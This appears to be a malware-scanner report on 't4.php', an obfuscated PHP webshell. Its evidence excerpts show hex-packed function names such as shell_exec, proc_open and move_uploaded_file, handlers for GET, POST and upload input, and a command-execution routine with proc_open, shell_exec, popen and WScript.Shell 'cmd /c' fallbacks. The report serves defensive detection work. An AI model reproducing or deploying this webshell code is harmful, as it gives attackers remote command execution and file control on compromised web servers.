Hostile 100% php Download

t4.php

Obfuscated webshell with eval and exec

Dense PHP pack() hex-format callsHpack hex PHP danger keywords
SHA-2561811a1d63310737e969348d16d95f80bf56f8e8896fc64eb5d6d6dc314e2a547

Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (StyleSmuggler Exploitation Deploys PSK Agent RAT Against Magento Stores) +1 more.

Evidence

Dense PHP pack() hex-format calls lines 1–17
1<?php
2$_X = array(
3 pack('H*', '6d6b646972'),
4 pack('H*', '756e6c696e6b'),
5 pack('H*', '72656e616d65'),
6 pack('H*', '6d6f76655f75706c6f616465645f66696c65'),
7 pack('H*', '69735f646972'),
8 pack('H*', '69735f66696c65'),
⋯9 lines
Hpack hex PHP danger keywords lines 24–32
24:47… '),
25 pack('H*', '737562737472'),
26 pack('H*', '6a736f6e5f6465636f6465'),
27 pack('H*', '6261736536345f6465636f6465'),
28 pack('H*', '70726f635f6f70656e'),
29 pack('H*', '73747265616d5f6765745f636f6e74656e7473'),
30 pack('H*', '70726f635f636c6f7365'),
31 pack('H*', '7368656c6c5f65786563'),
32 pack('H* …
Reads PHP file-upload data lines 44–77
44:11… $_X;
45 $a = func_get_args();
46 array_shift($a);
47 return call_user_func_array($_X[$i], $a);
48}
49
⋯6 lines
56function _g($k, $d)
57{
58 return isset($_GET[$k]) ? $_GET[$k] : $d;
59}
60
61function _p($k, $d)
62{
63 return isset($_POST[$k]) ? $_POST[$k] : $d;
64}
65
66function _u($k)
67{
68 return isset($_FILES[$k]) ? $_FILES[$k] : null;
69}
70
⋯7 lines
func dispatch via integer-indexed var array lines 452–490
⋯4 lines
456 {
457 global $_X;
458 if ($_X[29]($_X[25]) && $_X[29]($_X[26]) && $_X[29]($_X[33])) {
459 $ds = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w'));
460 $pp = array();
461 $h = $_X[18]($_X[25], array($z, $ds, &$pp, $this->cwd));
462 if (is_resource($h)) {
463 $o = $_X[26]($pp[1]);
464 $e = $_X[26]($pp[2]);
465 $_X[33]($pp[0]);
466 $_X[33]($pp[1]);
467 $_X[33]($pp[2]);
468 if ($_X[29]($_X[27])) {
469 $_X[27]($h);
470 }
471 return $o . ($e !== '' ? "\n" . $e : '');
472 }
473 }
474 if ($_X[29]($_X[28])) {
475 return (string)$_X[28]($z);
476 }
477 if ($_X[29]($_X[30])) {
478 $h = $_X[30]($z, 'r');
479 if (is_resource($h)) {
480 $o = $_X[26]($h);
481 $_X[31]($h);
482 return $o;
483 }
⋯7 lines
Hex-encoded 'WScript.Shell' string lines 536–543
536:23… cls)) {
537 return null;
538 }
539 try {
540 $ws = new $cls(pack('H*', '575363726970742e5368656c6c'));
541 $p = $ws->{pack('H*', '45786563')}('c' . 'm' . 'd /c ' . $z);
542 return (string)$p->{pack('H*', '5374644f7574')}->{pack('H*', '52656164416c6c')}();
543 } catch (T …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.